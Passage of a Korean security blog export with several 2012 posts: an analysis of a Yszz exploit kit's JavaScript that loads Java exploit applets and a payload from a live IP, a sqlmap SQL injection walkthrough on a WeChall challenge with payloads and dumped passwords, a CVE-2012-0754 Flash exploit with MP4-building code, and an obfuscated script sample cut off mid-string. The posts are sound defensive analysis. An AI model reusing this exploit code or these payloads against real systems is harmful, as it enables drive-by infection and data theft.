kaixinm=deployJava.getJREs()+\u0026#34;\u0026#34;; kaixinm=parseInt(kaixinm.replace(/\\.|\\_/g,\u0026#39;\u0026#39;)); if (kaixinm\u0026lt;=17006) { var kaixin=document.createElement(\u0026#39;applet\u0026#39;); kaixin.width=\u0026#34;1\u0026#34;; kaixin.height=\u0026#34;1\u0026#34;; if((kaixinm\u0026lt;=16027 \u0026amp;\u0026amp; kaixinm\u0026gt;=16000) || (kaixinm\u0026gt;=15000 \u0026amp;\u0026amp; kaixinm\u0026lt;=15031)) { kaixin.archive=\u0026#34;XLL0zxmA.jpg\u0026#34;; kaixin.code=\u0026#34;GondadGondadExp.class\u0026#34;; kaixin.setAttribute(\u0026#34;dota\u0026#34;,\u0026#34;http://69.46.87.103/img/jpg.css\u0026#34;); document.body.appendChild(kaixin); } else if ((kaixinm\u0026lt;=17003 \u0026amp;\u0026amp; kaixinm\u0026gt;=17000) || (kaixinm\u0026lt;=16032 \u0026amp;\u0026amp; kaixinm\u0026gt;=16000) ||(kaixinm\u0026gt;=15035 \u0026amp;\u0026amp; kaixinm\u0026lt;=15000)) { kaixin.archive=\u0026#34;rKQeVOG.jpg\u0026#34;; kaixin.code=\u0026#34;gond1723.Gondattack.class\u0026#34;; kaixin.setAttribute(\u0026#34;xiaomaolv\u0026#34;,\u0026#34;http://69.46.87.103/img/jpg.css\u0026#34;); kaixin.setAttribute(\u0026#34;bn\u0026#34;,\u0026#34;woyouyizhixiaomaolv\u0026#34;); kaixin.setAttribute(\u0026#34;si\u0026#34;,\u0026#34;conglaiyebuqi\u0026#34;); kaixin.setAttribute(\u0026#34;bs\u0026#34;,\u0026#34;748\u0026#34;); document.body.appendChild(kaixin); } else { var ques3 = window.navigator.userAgent.toLowerCase(); if (ques3.indexOf(\u0026#34;msie 6\u0026#34;) \u0026gt; -1) { document.write(\u0026#34;\u0026lt;OBJECT classid=\u0026#39;clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\u0026#39; width=\u0026#39;200\u0026#39; height=\u0026#39;200\u0026#39;\u0026gt;\u0026lt;param name=xiaomaolv value= \u0026#39;http://69.46.87.103/img/jpg.css\u0026#39;\u0026gt;\u0026lt;param name=bn value= \u0026#39;woyouyizhixiaomaolv\u0026#39;\u0026gt;\u0026lt;param name=si value= \u0026#39;conglaiyebuqi\u0026#39;\u0026gt;\u0026lt;param name=bs value= \u0026#39;748\u0026#39;\u0026gt;\u0026lt;param name=CODE value= \u0026#39;cve2012xxxx.Gondvv.class\u0026#39;\u0026gt;\u0026lt;param name=archive value= \u0026#39;csEpI.jpg\u0026#39;\u0026gt;\u0026lt;/OBJECT\u0026gt;\u0026#34;); } else { document.write(\u0026#34;\u0026lt;br\u0026gt;\u0026#34;); var kaixinq = document.createElement(\u0026#34;body\u0026#34;); document.body.appendChild(kaixinq); var kaixiny = document.createElement(\u0026#34;applet\u0026#34;); kaixiny.width = \u0026#34;256\u0026#34;; kaixiny.height = \u0026#34;256\u0026#34;; kaixiny.archive = \u0026#34;csEpI.jpg\u0026#34;; kaixiny.code = \u0026#34;cve2012xxxx.Gondvv.class\u0026#34;; kaixiny.setAttribute(\u0026#34;xiaomaolv\u0026#34;, \u0026#34;http://69.46.87.103/img/jpg.css\u0026#34;); kaixiny.setAttribute(\u0026#34;bn\u0026#34;, \u0026#34;woyouyizhixiaomaolv\u0026#34;); kaixiny.setAttribute(\u0026#34;si\u0026#34;, \u0026#34;conglaiyebuqi\u0026#34;); kaixiny.setAttribute(\u0026#34;bs\u0026#34;, \u0026#34;748\u0026#34;); document.body.appendChild(kaixiny); } } } else { var pcss=navigator.userAgent.toLowerCase(); var UaYcKzD2 = window.navigator.userAgent.toLowerCase(); if ((UaYcKzD2.indexOf(\u0026#39;msie 8.0\u0026#39;) \u0026gt; -1)) { document.writeln(\u0026#34;\u0026lt;iframe src=9O4v7e.html\u0026gt;\u0026lt;\\/iframe\u0026gt;\u0026#34;); } else if ((UaYcKzD2.indexOf(\u0026#39;msie 6.0\u0026#39;) \u0026gt; -1) || (UaYcKzD2.indexOf(\u0026#39;msie 7.0\u0026#39;) \u0026gt; -1)) { document.writeln(\u0026#34;\u0026lt;iframe src=bmrYt.html\u0026gt;\u0026lt;\\/iframe\u0026gt;\u0026#34;); } } } \u0026lt;/script\u0026gt; 다양한 취약점을 이용하고 있다. 대세는 JAVA 인듯?\n","date":"2012-10-07T15:57:10Z","permalink":"/2012/10/07/yszz-15-vip-%EA%B4%80%EB%A0%A8-%EC%BD%94%EB%93%9C-%ED%99%95%EC%9D%B8/","title":"Yszz 1.5 vip 관련 코드 확인"},{"content":"sqlmap 이란 툴이 트위터랑 페이스북에서 계속 언급되어 어떤것인가 하고 찾아서 사용해 봤습니다. 이것도 굉장한 자동화 도구네요. 아래는 간단하게 테스트 한 내용 입니다.\nsqlmap : http://sqlmap.sourceforge.net/ 메뉴얼 : http://sqlmap.sourceforge.net/doc/README.html GUI for sqlmap (Linux) : http://code.google.com/p/gui-for-sqlmap/ GUI for sqlmap (Windows) : http://sourceforge.net/projects/sqlmapwin/\nDatabase명 알아내기 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 [byjjoon@localhost sqlmap]$ ./sqlmap.py -u \u0026#34;http://www.wechall.net/challenge/table_names/challenge.php?username=test\u0026amp;password=test\u0026amp;login=login\u0026#34; --dbs sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 23:14:18 [23:14:19] [INFO] using \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net/session\u0026#39; as session file [23:14:19] [INFO] testing connection to the target url [23:14:21] [INFO] testing if the url is stable, wait a few seconds [23:14:24] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user\u0026#39;s manual paragraph \u0026#39;Page comparison\u0026#39; and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [23:14:33] [INFO] testing if GET parameter \u0026#39;username\u0026#39; is dynamic [23:14:35] [WARNING] GET parameter \u0026#39;username\u0026#39; is not dynamic [23:14:36] [WARNING] heuristic test shows that GET parameter \u0026#39;username\u0026#39; might not be injectable [23:14:36] [INFO] testing sql injection on GET parameter \u0026#39;username\u0026#39; [23:14:36] [INFO] testing \u0026#39;AND boolean-based blind - WHERE or HAVING clause\u0026#39; [23:14:57] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0 AND error-based - WHERE or HAVING clause\u0026#39; [23:15:03] [INFO] testing \u0026#39;PostgreSQL AND error-based - WHERE or HAVING clause\u0026#39; [23:15:09] [INFO] testing \u0026#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause\u0026#39; [23:15:15] [INFO] testing \u0026#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)\u0026#39; [23:15:22] [INFO] testing \u0026#39;MySQL \u0026gt; 5.0.11 stacked queries\u0026#39; [23:15:28] [INFO] testing \u0026#39;PostgreSQL \u0026gt; 8.1 stacked queries\u0026#39; [23:15:34] [INFO] testing \u0026#39;Microsoft SQL Server/Sybase stacked queries\u0026#39; [23:15:40] [INFO] testing \u0026#39;MySQL \u0026gt; 5.0.11 AND time-based blind\u0026#39; [23:15:58] [INFO] GET parameter \u0026#39;username\u0026#39; is \u0026#39;MySQL \u0026gt; 5.0.11 AND time-based blind\u0026#39; injectable [23:15:58] [INFO] testing \u0026#39;MySQL UNION query (NULL) - 1 to 10 columns\u0026#39; [23:16:14] [INFO] target url appears to be UNION injectable with 3 columns [23:16:22] [INFO] GET parameter \u0026#39;username\u0026#39; is \u0026#39;MySQL UNION query (NULL) - 1 to 10 columns\u0026#39; injectable GET parameter \u0026#39;username\u0026#39; is vulnerable. Do you want to keep testing the others? [y/N] n sqlmap identified the following injection points with a total of 59 HTTP(s) requests: --- Place: GET Parameter: username Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: username=-2809\u0026#39; UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND \u0026#39;Pupu\u0026#39;=\u0026#39;Pupu\u0026amp;password=test\u0026amp;login=login Type: AND/OR time-based blind Title: MySQL \u0026gt; 5.0.11 AND time-based blind Payload: username=test\u0026#39; AND SLEEP(5) AND \u0026#39;zdxt\u0026#39;=\u0026#39;zdxt\u0026amp;password=test\u0026amp;login=login --- [23:16:32] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5.0.11 [23:16:32] [INFO] fetching database names [23:16:34] [INFO] the SQL query used returns 2 entries available databases [2]: [*] gizmore_tableu61 [*] information_schema [23:16:37] [INFO] Fetched data logged to text files under \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net\u0026#39; [*] shutting down at: 23:16:37 Table명 알아내기 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [byjjoon@localhost sqlmap]$ ./sqlmap.py -u \u0026#34;http://www.wechall.net/challenge/table_names/challenge.php?username=test\u0026amp;password=test\u0026amp;login=login\u0026#34; --tables -D gizmore_tableu61 sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 23:17:25 [23:17:25] [INFO] using \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net/session\u0026#39; as session file [23:17:26] [INFO] resuming injection data from session file [23:17:26] [INFO] resuming back-end DBMS \u0026#39;mysql 5.0.11\u0026#39; from session file [23:17:26] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: username Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: username=-2809\u0026#39; UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND \u0026#39;Pupu\u0026#39;=\u0026#39;Pupu\u0026amp;password=test\u0026amp;login=login Type: AND/OR time-based blind Title: MySQL \u0026gt; 5.0.11 AND time-based blind Payload: username=test\u0026#39; AND SLEEP(5) AND \u0026#39;zdxt\u0026#39;=\u0026#39;zdxt\u0026amp;password=test\u0026amp;login=login --- [23:17:28] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5.0.11 [23:17:28] [INFO] fetching tables for database \u0026#39;gizmore_tableu61\u0026#39; [23:17:29] [INFO] the SQL query used returns 2 entries Database: gizmore_tableu61 [2 tables] +--------------+ | aaawrong | | usertableus4 | +--------------+ [23:17:33] [INFO] Fetched data logged to text files under \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net\u0026#39; [*] shutting down at: 23:17:33 칼럼명 알아내기 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [byjjoon@localhost sqlmap]$ ./sqlmap.py -u \u0026#34;http://www.wechall.net/challenge/table_names/challenge.php?username=test\u0026amp;password=test\u0026amp;login=login\u0026#34; --columns -D gizmore_tableu61 -T usertableus4 sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 23:19:12 [23:19:12] [INFO] using \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net/session\u0026#39; as session file [23:19:12] [INFO] resuming injection data from session file [23:19:12] [INFO] resuming back-end DBMS \u0026#39;mysql 5.0.11\u0026#39; from session file [23:19:12] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: username Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: username=-2809\u0026#39; UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND \u0026#39;Pupu\u0026#39;=\u0026#39;Pupu\u0026amp;password=test\u0026amp;login=login Type: AND/OR time-based blind Title: MySQL \u0026gt; 5.0.11 AND time-based blind Payload: username=test\u0026#39; AND SLEEP(5) AND \u0026#39;zdxt\u0026#39;=\u0026#39;zdxt\u0026amp;password=test\u0026amp;login=login --- [23:19:14] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5.0.11 [23:19:14] [INFO] fetching columns for table \u0026#39;usertableus4\u0026#39; on database \u0026#39;gizmore_tableu61\u0026#39; [23:19:16] [INFO] the SQL query used returns 3 entries Database: gizmore_tableu61 Table: usertableus4 [3 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | message | varchar(255) | | password | varchar(64) | | username | varchar(32) | +----------+--------------+ [23:19:22] [INFO] Fetched data logged to text files under \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net\u0026#39; [*] shutting down at: 23:19:22 칼럼내의 데이터 알아내기 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [byjjoon@localhost sqlmap]$ ./sqlmap.py -u \u0026#34;http://www.wechall.net/challenge/table_names/challenge.php?username=test\u0026amp;password=test\u0026amp;login=login\u0026#34; --dump -D gizmore_tableu61 -T usertableus4 -C password sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 23:21:37 [23:21:37] [INFO] using \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net/session\u0026#39; as session file [23:21:37] [INFO] resuming injection data from session file [23:21:37] [INFO] resuming back-end DBMS \u0026#39;mysql 5.0.11\u0026#39; from session file [23:21:37] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: username Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: username=-2809\u0026#39; UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND \u0026#39;Pupu\u0026#39;=\u0026#39;Pupu\u0026amp;password=test\u0026amp;login=login Type: AND/OR time-based blind Title: MySQL \u0026gt; 5.0.11 AND time-based blind Payload: username=test\u0026#39; AND SLEEP(5) AND \u0026#39;zdxt\u0026#39;=\u0026#39;zdxt\u0026amp;password=test\u0026amp;login=login --- [23:21:39] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5.0.11 [23:21:39] [INFO] fetching columns \u0026#39;password\u0026#39; entries for table \u0026#39;usertableus4\u0026#39; on database \u0026#39;gizmore_tableu61\u0026#39; [23:21:41] [INFO] the SQL query used returns 5 entries Database: gizmore_tableu61 Table: usertableus4 [5 entries] +-----------------------------------+ | password | +-----------------------------------+ | test | | tables | | themoreyouknowthemoreyoucanforget | | tamethepenguin | | thismypass | +-----------------------------------+ [23:21:50] [INFO] Table \u0026#39;gizmore_tableu61.usertableus4\u0026#39; dumped to CSV file \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net/dump/gizmore_tableu61/usertableus4.csv\u0026#39; [23:21:50] [INFO] Fetched data logged to text files under \u0026#39;/home/byjjoon/sqlmap/output/www.wechall.net\u0026#39; [*] shutting down at: 23:21:50 ","date":"2012-03-28T04:32:35Z","permalink":"/2012/03/28/sqlmap/","title":"sqlmap - automatic SQL injection and database takeover tool"},{"content":"국내에서 전파되는 온라인게임핵 악성코드 전파용 취약점이 또 하나가 새롭게 추가가 되었습니다. CVE-2012-0754 : http://www.exploit-db.com/exploits/18572/\nExploit-DB 사이트에 올라오자 마자 바로 자기네들에 맞게 수정하여 전파하네요. 아래는 이번에 국내에서 발견된 해당 취약점과 관련된 SWF 파일 내부에 작성되어 있는 액션 스크립트 입니다.\n이전에 발견된 CVE-2011-2140 취약점과 아주 유사하게 구성되어 있으며 취약점과 관련된 MP4 파일명도 CVE-2011-2140 취약점은 ea.jpg 그리고 이번에 나온 CVE-2012-0754 취약점은 ee.jpg 로 사용하고 있습니다.\nCVE-2011-2140 취약점 관련 이전 글 : https://jjoon.net/page/2011/09/09/adobe-flash-player-cve-2011-2140-취약점-간단-분석/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package { public class Exploit extends flash.display.Sprite { public function Exploit() { Gondad = \u0026#39;pdRyrW8PbLGWI6Pv\u0026#39;; greeting = new flash.text.TextField(); greeting.text = \u0026#39;Loading...\u0026#39;; greeting.x = 100; greeting.y = 100; addChild(greeting); MyVideo = new flash.media.Video(); addChild(MyVideo); MyNC = new flash.net.NetConnection(); MyNC.connect(null); MyNS = new flash.net.NetStream(MyNC); MyVideo.attachNetStream(MyNS); MyNS.play(\u0026#39;ee.jpg\u0026#39;); } public var MyNC:flash.net.NetConnection; public var MyNS:flash.net.NetStream; public var MyVideo:flash.media.Video; private var greeting:flash.text.TextField; internal var Gondad:* = \u0026#34;pdRyrW8PbLGWI6Pv\u0026#34;; } } Exploit-DB 사이트에 올라와 있는 취약점과 관련된 MP4 파일을 생성하는 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 def create_mp4(target) mp4 = \u0026#34;\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;\\x00\\x00\\x00\\x18\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;ftypmp42\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;\\x00\\x00\\x00\\x00\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;mp42isom\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;\\x00\\x00\\x00\\x0D\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;cprt\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;\\x00\\xFF\\xFF\\xFF\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;\\x00\\x00\\x00\\x00\u0026#34; mp4 \u0026lt;\u0026lt; \u0026#34;\\x0c\\x0c\\x0c\\x0c\u0026#34; * 2586 return mp4 end 그리고 아래는 이번에 국내에서 발견된 관련 MP4 파일 입니다. \u0026quot;yqoo\u0026quot; 부분은 계속해서 변경시키며 진단을 우회하고자 노력하고 있는 것으로 보입니다.\n또 많은 사용자가 감염이 되겠군요...... :-(\n","date":"2012-03-11T01:51:06Z","permalink":"/2012/03/11/%EB%98%90-%EC%B6%94%EA%B0%80%EB%90%9C-%EC%98%A8%EB%9D%BC%EC%9D%B8%EA%B2%8C%EC%9E%84%ED%95%B5-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EC%A0%84%ED%8C%8C%EC%9A%A9-%EC%B7%A8%EC%95%BD%EC%A0%90-cve-2012-0754/","title":"또 추가된 온라인게임핵 악성코드 전파용 취약점 (CVE-2012-0754)"},{"content":"Encrypt By Dadong blahblah 라고 주석을 남기던 난독화 코드가 버전업을 했습니다. 이제는 아래와 같은 주석을 남기네요.\n1 2 Encrypt By www.krmeok.com\u0026#39;s JSXX 0.41 VIP Encrypt By 도메인명\u0026#39;s JSXX 0.41 VIP 아마도 \u0026quot;Encrypt By Dadong\u0026quot; 이라는 문자열로 시그니처를 만들기 시작해서 그것을 회피하고자 바꾼 것으로 추측됩니다. 추가로 디코딩 방법은 0.41로 버전업 하기 전과 동일한 방법으로 풀리며, 디코딩 하는 새로운 방법을 확인하여 기록해 둡니다. (이전에 작성한 디코딩 관련 글 : https://jjoon.net/page/2011/01/06/encrypt-by-dadongs-jsxx-%eb%82%9c%eb%8f%85%ed%99%94-%ed%95%b4%ec%a0%9c-%eb%b0%a9%eb%b2%95/)\n아래은 원본 코드의 일부 입니다.\n1 2 3 4 5 6 7 8 \u0026lt;script\u0026gt; ceWiaAk1 = eval; BBvD3=unescape; IzpvGqn2=\u0026#34;476046490C072B0F17045648F2CAF4C88AED86A06555767447BF9BF6D3381A7345B5C7B4880B2318E48ECD0F61AA9B9C4314E1F99C750D4B9BDC1B12C2A1472BC2993B69A5E21D00D85035ED9869598B2259876B158A40C4B3665CF217B8D453E1AA4DCD8059A1CF203FA75EFE52EBB7650AD838C3C255FA75CE78C878E328DC129E39FB78E76ECA4EDD27DE3AA71DCE40FB4EFE47C818F73AE120C14D8A7AF643B82D8D388A32DF4B94409042AD35F0488E58BB4AA17A8E44932F9248821D9A4EA94EAE499A1CC3368852A947AC6E9271863D9B6949DB77BD6E78A87C8720B1594AA96F996F7556955D162D24B845864D6B4D624A501F696A42CD657E6240427E681B687E49686A6454465444651A533B5A3E5E7C4947597E731C195C214A76496843614A53116A6F6D477C765B4A6C6A67291F3C586F7979417C6A7C5D246F26445B794D59616B71673268652B267C656C406F49531217186A1E766F5373664473265A19392C5E6A5C695042651C201B55376A6A68714D436826411C1559656F40446C475012601269685A654A7B5F4E5D32212D193F6F4D4F7445785B2469576F5177794F405D655A29234169656D764A6868445E111110136E5E4940625777571C3D545A197F7C6867586D611A516F2B6B62645C676C757C1B5A24476F547E536244405D1F6560601E5D4D6C684E7F6E1668435526596C59404B7074201E256E2A587141744B446C3D6E2F57475E475B7B4E6C591C18151010534E68444466662F636F47526B4A49716C636935241B516F664B546958635D2D4E1B2B24704D6273576675186E1C641D50406B40686C7F272A121E3064786F615D447A2840536F555E756E7C45707A1C2F4C6E5A6463684A5F7F7F346B1E1C12504365436C40753E542B651970775D474D755D3B5D465569664D5046506D693B68224E196B7746406677663E471E686E5343664D6F4459344C295C115E6352756B656C1C4D5D3625587568786A7874283B6F29325978526E6C4E6E2748466C135D40664E61475D18473B542D544D467A59437C2D69485B31624B5040544261355B39695E7F4A5D7A4244572F534F40175E4E654E62495E1C6B334D216D47686E56715A3D291D492677716E786C7C5B20402E4A696F6C6F75566A5D162B233C365A4D6B4D624A501F696B414A657E6240427E681B392C69486A6454465444651A53352A395E7C4947597E731C642C524A76496843614A53116C181A367C765B4A6C6A67296E4E586D7979417C6A7C5D241851405B794D59616B7167326F142C247C656C406F4953121E6D6F1E766F5373664473265C68325C5E6A5C695042651C506853376A6A68714D4368264113652D656F40446C475012601F6C1A5A654A7B5F4E5D32575C1F3C6F4D4F7445785B241E266F2677794F405D655A2953466F136D764A6868445E116761646C5E4940625777571C30242D1A7F7C6867586D611A5168571A62645C676C757C1B2B24401F547E536244405D1F646363145D4D6C684E7F6E166941535A596C59404B70742019271E55587141744B446C3D192F22465E475B7B4E6C591C6A656761534E68444466662F636F47556B4A49716C636935211C201D664B546958635D2D3D692D52704D627357667518696C156150406B40686C7F275A65694164786F615D447A28405369245E756E7C45707A1C5B3D68296463684A5F7F7F346B1C6D63504365436C40753E242A636F70775D474D755D3B5A33526F664D5046506D693B1C5E32696B7746406677663E306B6D6C5343664D6F4459344B5520105E6352756B656C1C4F274053587568786A7874283B6A2E3E5978526E6C4E6E274B466D125D40664E61475D18474A5529544D467A59437C2D6F342631624B50405442613559351C5B7F4A5D7A4244572F5230416A5E4E654E62495E1C6B3B4A256D47686E56715A3D586F4E5B77716E786C7C5B20352B346E6F6C6F75566A5D165D534C405A4D6B4D624A501F6E6E464C657E6240427E681B325F6E4F6A6454465444651A243428485E7C4947597E731C642D564B76496843614A5311116D1A367C765B4A6C6A67296E4E58687979417C6A7C5D241E52405B794D59616B71673269652C257C656C406F4953121510691D766F5373664473265C683C225E6A5C695042651C516955466A6A68714D436826476F652F656F40446C47501267626C1C5A654A7B5F4E5D32535B683D6F4D4F7445785B246957692077794F405D655A2953436F166D764A6868445E116761621D5E4940625777571C47555C687F7C6867586D611A566E246962645C676C757C1B5853361D547E536244405D1F13101C1F5D4D6C684E7F6E166946535D596C59404B7074206F576957587141744B446C3D6A5C22315E475B7B4E6C591C6C116161534E68444466662F646F47556B4A49716C636935526F2719664B546958635D2D39182724704D6273576675186F11606750406B40686C7F275E63183364786F615D447A28462069575E756E7C45707A1C5E3D6E5A6463684A5F7F7F346B1C6A62504365436C40753E542F636F70775D474D755D3B5B355514664D5046506D693B6E5E48686B7746406677663E466D1F1A5343664D6F4459344D2721105E6352756B656C1C48284053587568786A787428481C584E5978526E6C4E6E274D366D6F5D40664E61475D18414D512A544D467A59437C2D69485D30624B5040544261352B3E6E5E7F4A5D7A4244572F2838466D5E4E654E62495E1C69413A246D47686E56715A3D291D4F2A77716E786C7C5B2046264A186F6C6F75566A5D165B213A475A4D6B4D624A501F1F1D413C657E6240427E681B49231A4A6A6454465444651A24465D3D5E7C4947597E731C632D533876496843614A53116A6F1B317C765B4A6C6A67296E3259127979417C6A7C5D246E2E315B794D59616B7167321F135A257C656C406F495312136E1A69766F5373664473262D183F2C5E6A5C695042651C206924406A6A68714D436826476F635C656F40446C47501212676A6F5A654A7B5F4E5D32525A6A486F4D4F7445785B2469576F5377794F405D655A29534169656D764A6868445E11636711695E4940625777571C47555D157F7C6867586D611A516F516962645C676C757C1B5A26476F547E536244405D1F621267625D4D6C684E7F6E166F32535A596C59404B7074201E256957587141744B446C3D685A57475E475B7B4E6C591C1C146061534E68444466662F191E40536B4A49716C636935246F201D664B546958635D2D48682D55704D627357667518696C646150406B40686C7F275A656F3264786F615D447A2844241E235E756E7C45707A1C5F496F276463684A5F7F7F346C691C14504365436C40753E555C626F70775D474D755D3B5C40231F664D5046506D693B1F284E686B7746406677663E3B6B6E6A5343664D6F4459344A522C135E6352756B656C1C382D4653587568786A78742834125F485978526E6C4E6E274A411B195D40664E61475D18373B532D544D467A59437C2D6D485A40624B5040544261352B3A182C7F4A5D7A4244572F274D3B6A5E4E654E62495E1C193531556D47686E56715A3D2F1A3F5C77716E786C7C5B2040594E6F6F6C6F75566A5D165A544B475A4D6B4D624A501F1C1E303F657E6240427E681B3E2F18496A6454465444651A54325A355E7C4947597E731C122C523C76496843614A53116A686E327C765B4A6C6A67291B4E296E7979417C6A7C5D2418214026794D59616B71673218172C557C656C406F495312151E1C1E766F5373664473262D693C2E5E6A5C695042651C526920476A6A68714D436826326F195D656F40446C47501260656D6F5A654A7B5F4E5D32545A694F6F4D4F7445785B246E57685377794F405D655A2954416E656D764A6868445E116064636C5E4940625777571C40555B687F7C6867586D611A5669271F62645C676C757C1B2D27471E547E536244405D1F631C66155D4D6C684E7F6E166A41242B596C59404B7074206F576950587141744B446C3D192B53415E475B7B4E6C591C6A62611D534E68444466662F636F47556B4A49716C6369355368571E664B546958635D2D496D5D53704D6273576675186F1D646150406B40686C7F275C14684064786F615D447A284625692A5E756E7C45707A1C293C69276463684A5F7F7F346D1A6E64504365436C40753E2921141E70775D474D755D3B5D465569664D5046506D693B182E48686B7746406677663E3B1E6D6A5343664D6F44593438535C185E6352756B656C1C4E5B402E587568786A7874284E6F584E5978526E6C4E6E2738471C1B5D40664E61475D18373B545C544D467A59437C2D1F3E2B30624B5040544261355B346F2D7F4A5D7A4244572F534B371D5E4E654E62495E1C1C3531216D47686E56715A3D5B6F4A5D77716E786C7C5B20402A391E6F6C6F75566A5D165A544B475A4D6B4D624A501F136A414D657E6240427E681B4F5F1D3A6A6454465444651A52475A495E7C4947597E731C152A554C76496843614A53111B6F19477C765B4A6C6A6729193F221E7979417C6A7C5D241522315B794D59616B71673268192D247C656C406F495312156B6A6C766F5373664473265C14492F5E6A5C695042651C216925466A6A68714D436826376F135C656F40446C47501267136B125A654A7B5F4E5D32252C1F3C6F4D4F7445785B241825682F77794F405D655A2922351E106D764A6868445E11671D606C5E4940625777571C30552A1E7F7C6867586D611A2269261862645C676C757C1B5C55476F547E536244405D1F116067625D4D6C684E7F6E161A41242B596C59404B7074206F576957587141744B446C3D1C2B53415E475B7B4E6C591C6A656466534E68444466662F126F47286B4A49716C636935551C246D664B546958635D2D3F195C55704D627357667518696C146050406B40686C7F275A65694164786F615D447A2837261E505E756E7C45707A1C58496E5A6463684A5F7F7F346D6F6A62504365436C40753E2429121D70775D474D755D3B28432468664D5046506D693B1C5B48156B7746406677663E3B6969695343664D6F4459343B535B185E6352756B656C1C3B5E4026587568786A7874284E125C4B5978526E6C4E6E273A376B6E5D40664E61475D18453B265B544D467A59437C2D6D4D2843624B5040544261352E48692F7F4A5D7A4244572F224847175E4E654E62495E1C18423E266D47686E56715A3D581A4A5E77716E786C7C5B20445B49686F6C6F75566A5D165B2239345A4D6B4D624A501F6D6E3448657E6240427E681B32296A486A6454465444651A27405E3C5E7C4947597E731C1659283D76496843614A5311691269427C765B4A6C6A6729683E2A1E7979417C6A7C5D246C213426794D59616B7167326D602F517C656C406F495312161B6A1A766F5373664473265A6E49285E6A5C695042651C246C26466A6A68714D436826441A6759656F40446C47501214121C1A5A654A7B5F4E5D32202E144B6F4D4F7445785B246D521A5677794F405D655A29233012656D764A6868445E116461641F5E4940625777571C41282A197F7C6867586D611A2B6F226E62645C676C757C1B5C55476F547E536244405D1F151367625D4D6C684E7F6E166934575A596C59404B7074206E571825587141744B446C3D1D2E50345E475B7B4E6C591C6C131613534E68444466662F121D47246B4A49716C636935531A276A664B546958635D2D4F